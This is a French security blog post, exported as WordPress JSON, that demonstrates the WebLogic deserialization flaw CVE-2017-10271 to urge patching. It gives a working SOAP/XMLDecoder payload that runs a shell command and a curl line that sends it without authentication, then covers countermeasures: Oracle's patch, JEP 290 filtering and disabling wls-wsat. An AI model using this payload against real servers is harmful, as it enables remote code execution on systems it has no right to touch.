{"id":349,"date":"2019-01-17T17:12:25","date_gmt":"2019-01-17T16:12:25","guid":{"rendered":"https:\/\/corsaire-consulting.fr\/blog\/?p=349"},"modified":"2019-01-27T17:58:05","modified_gmt":"2019-01-27T16:58:05","slug":"securite-des-serveurs-et-la-necessite-de-les-patcher","status":"publish","type":"post","link":"https:\/\/corsaire-consulting.fr\/blog\/index.php\/2019\/01\/17\/securite-des-serveurs-et-la-necessite-de-les-patcher\/","title":{"rendered":"S\u00e9curit\u00e9 des serveurs et la n\u00e9cessit\u00e9 de les patcher"},"content":{"rendered":"<p>Lors de mes diff\u00e9rentes interventions, j&rsquo;essaie de sensibiliser les clients \u00e0 la n\u00e9cessit\u00e9 de prendre en compte la s\u00e9curit\u00e9 des serveurs J2EE. Je dis bien \u00ab\u00a0j&rsquo;essaie\u00a0\u00bb car bon nombre d&rsquo;entre eux ne me semblent pas totalement conscients des risques. Sous pr\u00e9texte d&rsquo;\u00eatre cach\u00e9s derri\u00e8re une arm\u00e9e de pare-feux certains pensent \u00eatre \u00e0 l&rsquo;abri d&rsquo;attaques sur leurs serveurs d&rsquo;applications.<\/p>\n<p>&nbsp;<\/p>\n<p>Au travers de cet article je souhaite montrer la simplicit\u00e9 avec laquelle il est possible d&rsquo;ex\u00e9cuter du code sur un serveur distant via une simple requ\u00eate HTTP.<\/p>\n<p><!--more--><\/p>\n<p>La \u00ab\u00a0faille\u00a0\u00bb que j&rsquo;utilise pour les besoins de la d\u00e9monstration est la <a href=\"https:\/\/www.cvedetails.com\/cve\/CVE-2017-10271\/\">CVE-2017-10271<\/a><br \/>Publi\u00e9e en octobre 2017, cette faille concerne Oracle WebLogic Server pour les versions 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 et 12.2.1.2.0<br \/>Les versions ant\u00e9rieurs \u00e0 la 10.3.6 sont sans doutes concern\u00e9es mais Oracle ne fournit aucune informations sur ces versions pour lesquelles il n&rsquo;existe plus de support.<\/p>\n<p>La <a href=\"https:\/\/www.cvedetails.com\/cve\/CVE-2017-10271\/\">CVE-2017-10271<\/a> indique un vecteur d&rsquo;attaque par le protocole interne de WebLogic \u00ab\u00a0T3\u00a0\u00bb mais c&rsquo;est bien une simple requ\u00eate HTTP qui permet \u00e0 un attaquant de d\u00e9clencher l&rsquo;ex\u00e9cution d&rsquo;un code sur un serveur distant.<\/p>\n<div class=\"alert alert-block alert-danger\">Les informations indiqu\u00e9es dans cet article ont pour unique vocation d&rsquo;instruire le lecteur et de le sensibiliser \u00e0 la s\u00e9curit\u00e9 des serveurs. Ces informations sont publiques et disponibles depuis plusieurs mois sur internet. Ces informations ne sauraient \u00eatre utilis\u00e9es \u00e0 des fins malveillantes.<\/div>\n<p>Le vecteur est donc une requ\u00eate HTTP. La cible de la requ\u00eate est une application web d\u00e9ploy\u00e9e en interne par WebLogic : wls-wsat<\/p>\n<p>WSAT est l&rsquo;acronyme de <a href=\"https:\/\/docs.oracle.com\/middleware\/12213\/wls\/WSGET\/jax-ws-atomictransaction.htm\">Web Services Atomic Transactions<\/a>. Ce composant permet une interop\u00e9rabilit\u00e9 de la stack web service de WebLogic avec d&rsquo;autres syst\u00e8mes transactionnels comme .NET ou WebSphere par exemple. Il \u00e9tend les capacit\u00e9s de l&rsquo;impl\u00e9mentation JAX-WS de WebLogic Server.<\/p>\n<h1>D\u00e9monstration<\/h1>\n<p>Les chapitres montrent comment effectuer l&rsquo;attaque sur un serveur WebLogic en fonctionnement.<\/p>\n<h2>La faille exploit\u00e9e<\/h2>\n<p>Pour une \u00e9ni\u00e8me fois la faille porte sur la d\u00e9s\u00e9rialisation des objets Java. V\u00e9ritable cauchemar depuis son apparition dans Java, sa capacit\u00e9 de s\u00e9rialisation\/d\u00e9serialisation des objets ne fait que poser des probl\u00e8mes en terme de s\u00e9curit\u00e9. Le probl\u00e8me vient de la d\u00e9s\u00e9rialisation des objets qui ne contr\u00f4le pas ce quelle cr\u00e9\u00e9e comme types d&rsquo;objets au sein de la JVM. Ajout\u00e9 \u00e0 cela les capacit\u00e9s d&rsquo;introspection de la JVM et vous avez une parfaite bo\u00eete \u00e0 outils pour hacker.<\/p>\n<h2>L&rsquo;environnement<\/h2>\n<p>Serveur d&rsquo;application : WebLogic Server 10.3.6.0.0<\/p>\n<p>Un domaine WebLogic avec 1 ou plusieurs serveurs en mode PRODUCTION.<\/p>\n<p>Syst\u00e8me d&rsquo;exploitation : A votre convenance<\/p>\n<p>Outils :<\/p>\n<ul>\n<li>Editeur de textes ou SOAP-UI<\/li>\n<li>curl<\/li>\n<\/ul>\n<h2>Pr\u00e9paration<\/h2>\n<p>L&rsquo;attaque est r\u00e9alis\u00e9e en soumettant un payload \u00e0 un des web services expos\u00e9s par l&rsquo;application web wls-wsat :<\/p>\n<ul>\n<li>CoordinatorPortType<\/li>\n<li>RegistrationPortTypeRPC<\/li>\n<li>ParticipantPortType<\/li>\n<li>RegistrationRequesterPortType<\/li>\n<li>CoordinatorPortType11<\/li>\n<li>RegistrationPortTypeRPC11<\/li>\n<li>ParticipantPortType11<\/li>\n<li>RegistrationRequesterPortType11<\/li>\n<\/ul>\n<p>Enregistrer le payload suivant dans un fichier texte sur le disque dur :<\/p>\n<p>[pastacode lang=\u00a0\u00bbmarkup\u00a0\u00bb manual=\u00a0\u00bb%3Csoapenv%3AEnvelope%20xmlns%3Asoapenv%3D%22http%3A%2F%2Fschemas.xmlsoap.org%2Fsoap%2Fenvelope%2F%22%3E%20%0A%09%3Csoapenv%3AHeader%3E%0A%09%09%3Cwork%3AWorkContext%20xmlns%3Awork%3D%22http%3A%2F%2Fbea.com%2F2004%2F06%2Fsoap%2Fworkarea%2F%22%3E%20%0A%09%09%09%3Cjava%20version%3D%221.6_0.29%22%20class%3D%22java.beans.XMLDecoder%22%3E%20%0A%09%09%09%3Cvoid%20class%3D%22java.lang.ProcessBuilder%22%3E%20%0A%09%09%09%09%3Carray%20class%3D%22java.lang.String%22%20length%3D%223%22%3E%0A%09%09%09%09%3Cvoid%20index%20%3D%20%220%22%3E%0A%09%09%09%09%09%3Cstring%3Ecmd%3C%2Fstring%3E%0A%09%09%09%09%3C%2Fvoid%3E%0A%09%09%09%09%3Cvoid%20index%20%3D%20%221%22%3E%20%0A%09%09%09%09%09%3Cstring%3E%2Fc%3C%2Fstring%3E%20%0A%09%09%09%09%3C%2Fvoid%3E%0A%09%09%09%09%3Cvoid%20index%20%3D%20%222%22%3E%0A%09%09%09%09%09%3Cstring%3Eecho%20hello%20%3E%20cve.txt%3C%2Fstring%3E%0A%09%09%09%09%3C%2Fvoid%3E%0A%09%09%09%3C%2Farray%3E%0A%09%09%09%3Cvoid%20method%3D%22start%22%2F%3E%0A%09%09%09%3C%2Fvoid%3E%0A%09%09%09%3C%2Fjava%3E%0A%09%09%09%3C%2Fwork%3AWorkContext%3E%20%0A%09%3C%2Fsoapenv%3AHeader%3E%20%0A%3Csoapenv%3ABody%2F%3E%0A%3C%2Fsoapenv%3AEnvelope%3E\u00a0\u00bb message=\u00a0\u00bbPayload XML\u00a0\u00bb highlight=\u00a0\u00bb\u00a0\u00bb provider=\u00a0\u00bbmanual\u00a0\u00bb\/]<\/p>\n<p>La commande distante \u00e0 ex\u00e9cuter est \u00e0 inscrire directement dans le payload en utilisant les 3 param\u00e8tres de la m\u00e9thode \u00ab\u00a0start\u00a0\u00bb. L&rsquo;exemple a \u00e9t\u00e9 ex\u00e9cut\u00e9 sous Windows et d\u00e9clenche la commande \u00ab\u00a0cmd \/c echo hello &gt; cve.txt\u00a0\u00bb Elle \u00e9crira donc le texte \u00ab\u00a0hello\u00a0\u00bb dans le fichier cve.txt \u00e0 <strong>la racine du domaine<\/strong>.<\/p>\n<p>Je laisse libre cours \u00e0 votre imagination pour trouver d&rsquo;autres commandes \u00e0 ex\u00e9cuter \u00e0 distance.<\/p>\n<div class=\"alert alert-block alert-info\">Remarque importante : nul besoin d&rsquo;\u00eatre authentifi\u00e9 aupr\u00e8s du serveur pour que l&rsquo;attaque aboutisse.<\/div>\n<h2>D\u00e9clenchement<\/h2>\n<p>Une fois le fichier avec le payload pr\u00eat, il suffit de l&rsquo;envoyer vers le serveur. L&rsquo;utilitaire curl suffit pour \u00e7a :<\/p>\n<p>[pastacode lang=\u00a0\u00bbbash\u00a0\u00bb manual=\u00a0\u00bbcurl%20&#8211;header%20%22Content-Type%3A%20text%2Fxml%3Bcharset%3DUTF-8%22%20%20&#8211;data%20%40payload.xml%20http%3A%2F%2Flocalhost%3A7001%2Fwls-wsat%2FCoordinatorPortType\u00a0\u00bb message=\u00a0\u00bbLa commande curl qui permet d&rsquo;envoyer le payload vers le serveur\u00a0\u00bb highlight=\u00a0\u00bb\u00a0\u00bb provider=\u00a0\u00bbmanual\u00a0\u00bb\/]<\/p>\n<p>Le r\u00e9sultat de la commande ressemblera \u00e0 ceci :<\/p>\n<p>[pastacode lang=\u00a0\u00bbmarkup\u00a0\u00bb manual=\u00a0\u00bb%3C%3Fxml%20version%3D&rsquo;1.0&rsquo;%20encoding%3D&rsquo;UTF-8&rsquo;%3F%3E%3CS%3AEnvelope%20xmlns%3AS%3D%22http%3A%2F%2Fschemas.xmlsoap.org%2Fsoap%2Fenvelope%2F%22%3E%3CS%3ABody%3E%3CS%3AFault%20xmlns%3Ans4%3D%22http%3A%2F%2Fwww.w3.org%2F2003%2F05%2Fsoap-envelope%22%3E%3Cfaultcode%3ES%3AServer%3C%2Ffaultcode%3E%3Cfaultstring%3E0%3C%2Ffaultstring%3E%3C%2FS%3AFault%3E%3C%2FS%3ABody%3E%3C%2FS%3AEnvelope%3E%0A\u00a0\u00bb message=\u00a0\u00bb\u00a0\u00bb highlight=\u00a0\u00bb\u00a0\u00bb provider=\u00a0\u00bbmanual\u00a0\u00bb\/]<\/p>\n<p>Cette r\u00e9ponse indique qu&rsquo;une erreur s&rsquo;est produite au niveau du service distant. Peu importe, le mal est fait. Inspectez le r\u00e9pertoire racine du domaine, vous y trouverez votre fichier.<\/p>\n<h1>Contre-mesures<\/h1>\n<p>Que faut-il faire face \u00e0 ce genre de menace ?<\/p>\n<h2>Patcher vos serveurs<\/h2>\n<p>Oracle a publi\u00e9 un correctif dans son <a href=\"https:\/\/www.oracle.com\/technetwork\/security-advisory\/cpuoct2017-3236626.html\">CPU d&rsquo;octobre 2017<\/a>. A installer d&rsquo;urgence si ce n&rsquo;est pas d\u00e9j\u00e0 fait.<\/p>\n<h2>Patcher Java<\/h2>\n<p>Dans le cas pr\u00e9cis des probl\u00e8mes li\u00e9s \u00e0 la d\u00e9serialisation des objets, JAVA a \u00e9t\u00e9 \u00e9quip\u00e9 d&rsquo;un m\u00e9canisme de \u00ab\u00a0filtrage\u00a0\u00bb des objets qui sont d\u00e9s\u00e9rialis\u00e9s. Cette nouvelle capacit\u00e9 est d\u00e9crite dans la <a href=\"https:\/\/openjdk.java.net\/jeps\/290\">JEP 290<\/a>. L&rsquo;id\u00e9e est de disposer :<\/p>\n<ul>\n<li>d&rsquo;une liste blanche des classes pouvant \u00eatre d\u00e9serialis\u00e9es \u00ab\u00a0sans risque\u00a0\u00bb<\/li>\n<li>et d&rsquo;une liste noire des classes ne devant surtout pas \u00eatre d\u00e9s\u00e9rialis\u00e9es car pr\u00e9sentant un risque fort au niveau de la s\u00e9curit\u00e9<\/li>\n<\/ul>\n<p>Ces 2 listes peuvent \u00eatre enrichies \u00e0 volont\u00e9 au lancement du serveur.<\/p>\n<p>WebLogic peut utiliser cette capacit\u00e9 sous r\u00e9serve d&rsquo;utiliser <strong>au minimum<\/strong> une des versions de java suivantes :<\/p>\n<ul>\n<li>JDK 8 Update 121 (JDK 8u121) ou sup\u00e9rieure<\/li>\n<li>JDK 7 Update 131 (JDK 7u131) ou sup\u00e9rieure<\/li>\n<li>JDK 6 Update 141 (JDK 6u141) ou sup\u00e9rieure<\/li>\n<\/ul>\n<p>Ne pas h\u00e9siter \u00e0 consulter la <a href=\"https:\/\/docs.oracle.com\/middleware\/12213\/wls\/SECMG\/conf-security-for-domain.htm#SECMG-GUID-74A34AA1-B139-431C-B87A-578DAAA682B1\">documentation Oracle<\/a> sur le sujet pour les d\u00e9tails de la mise en oeuvre.<\/p>\n<p>&nbsp;<\/p>\n<p>Pour rappel JDK 6 n&rsquo;est plus support\u00e9 par Oracle depuis d\u00e9cembre 2018.<\/p>\n<h2>D\u00e9sactiver les fonctions inutiles<\/h2>\n<p>Pour le cas pr\u00e9cis d&rsquo;une attaque via l&rsquo;application web wls-wsat il est possible de la d\u00e9sactiver si elle n&rsquo;est pas n\u00e9cessaire.<\/p>\n<p>Pour cela il suffit d&rsquo;ajouter la propri\u00e9t\u00e9 suivante au d\u00e9marrage des instances WebLogic du domaine (serveur d&rsquo;administration inclus)<\/p>\n<p>[pastacode lang=\u00a0\u00bbbash\u00a0\u00bb manual=\u00a0\u00bb-Dweblogic.wsee.wstx.wsat.deployed%3Dfalse\u00a0\u00bb message=\u00a0\u00bb\u00a0\u00bb highlight=\u00a0\u00bb\u00a0\u00bb provider=\u00a0\u00bbmanual\u00a0\u00bb\/]<\/p>\n<p>&nbsp;<\/p>\n<p>A noter \u00e9galement que cette application <strong>est d\u00e9sactiv\u00e9e par d\u00e9faut<\/strong> pour les versions 12.2.1.3.x et sup\u00e9rieures de WebLogic.<\/p>\n<p>&nbsp;<\/p>\n<p>Ces contre-mesures doivent venir compl\u00e9ter les r\u00e8gles de durcissement des environnements d\u00e9j\u00e0 en vigueur.<\/p>\n<h1>Conclusion<\/h1>\n<p>L&rsquo;exploitation de la faille est donc tr\u00e8s simple. La seule solution pour la contrer est de patcher l&rsquo;installation WebLogic avec <a href=\"https:\/\/www.oracle.com\/technetwork\/topics\/security\/alerts-086861.html\">les correctifs de s\u00e9curit\u00e9 publi\u00e9s par Oracle<\/a>. Ils sont publi\u00e9s tous les trimestres. A l&rsquo;heure o\u00f9 cet article est publi\u00e9, le dernier en date est celui de <a href=\"https:\/\/corsaire-consulting.fr\/blog\/index.php\/2019\/01\/16\/oracle-critical-patch-update-janvier-2019\/\">janvier 2019<\/a>. Vous savez ce qu&rsquo;il vous reste \u00e0 faire.<\/p>\n<p>La s\u00e9curit\u00e9 ne concerne \u00e9videment pas uniquement le serveur d&rsquo;application. Le syst\u00e8me d&rsquo;exploitation et Java sont concern\u00e9s \u00e9galement en tout premier lieu. Leur mise \u00e0 jour r\u00e9guli\u00e8re avec les derniers correctifs est primordiale pour limiter le risque d&rsquo;une action malveillante sur les serveurs.<\/p>\n<p>Les failles li\u00e9es \u00e0 la d\u00e9s\u00e9rialisation des objets Java sont nombreuses et pas toujours \u00e9videntes \u00e0 contrer. L&rsquo;utilisation du filtrage des classes apport\u00e9 par la <a href=\"https:\/\/openjdk.java.net\/jeps\/290\">JEP 290<\/a> peut constituer une r\u00e9ponse. Toutefois, il n&rsquo;est pas \u00e9vident de d\u00e9terminer les classes qui font usage de la d\u00e9s\u00e9rialisation. Un outil comme la \u00ab\u00a0<a href=\"https:\/\/corsaire-consulting.fr\/blog\/index.php\/vigie\/\">Vigie<\/a>\u00a0\u00bb peut apporter des r\u00e9ponses en pistant toutes les tentatives de d\u00e9s\u00e9rialisations effectu\u00e9es par une application Java.<\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Lors de mes diff\u00e9rentes interventions, j&rsquo;essaie de sensibiliser les clients \u00e0 la n\u00e9cessit\u00e9 de prendre en compte la s\u00e9curit\u00e9 des serveurs J2EE. Je dis bien \u00ab\u00a0j&rsquo;essaie\u00a0\u00bb car bon nombre d&rsquo;entre eux ne me semblent pas totalement conscients des risques. Sous pr\u00e9texte d&rsquo;\u00eatre cach\u00e9s derri\u00e8re une arm\u00e9e de pare-feux certains pensent \u00eatre \u00e0 l&rsquo;abri d&rsquo;attaques sur [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[7,59,4],"tags":[58,60,62,57,38,56,61],"class_list":["post-349","post","type-post","status-publish","format-standard","hentry","category-java","category-securite","category-weblogic","tag-cve","tag-cve-2017-10271","tag-deserialisation","tag-j2ee","tag-java","tag-securite","tag-serialisation"],"_links":{"self":[{"href":"https:\/\/corsaire-consulting.fr\/blog\/index.php\/wp-json\/wp\/v2\/posts\/349","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/corsaire-consulting.fr\/blog\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/corsaire-consulting.fr\/blog\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/corsaire-consulting.fr\/blog\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/corsaire-consulting.fr\/blog\/index.php\/wp-json\/wp\/v2\/comments?post=349"}],"version-history":[{"count":28,"href":"https:\/\/corsaire-consulting.fr\/blog\/index.php\/wp-json\/wp\/v2\/posts\/349\/revisions"}],"predecessor-version":[{"id":427,"href":"https:\/\/corsaire-consulting.fr\/blog\/index.php\/wp-json\/wp\/v2\/posts\/349\/revisions\/427"}],"wp:attachment":[{"href":"https:\/\/corsaire-consulting.fr\/blog\/index.php\/wp-json\/wp\/v2\/media?parent=349"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/corsaire-consulting.fr\/blog\/index.php\/wp-json\/wp\/v2\/categories?post=349"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/corsaire-consulting.fr\/blog\/index.php\/wp-json\/wp\/v2\/tags?post=349"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}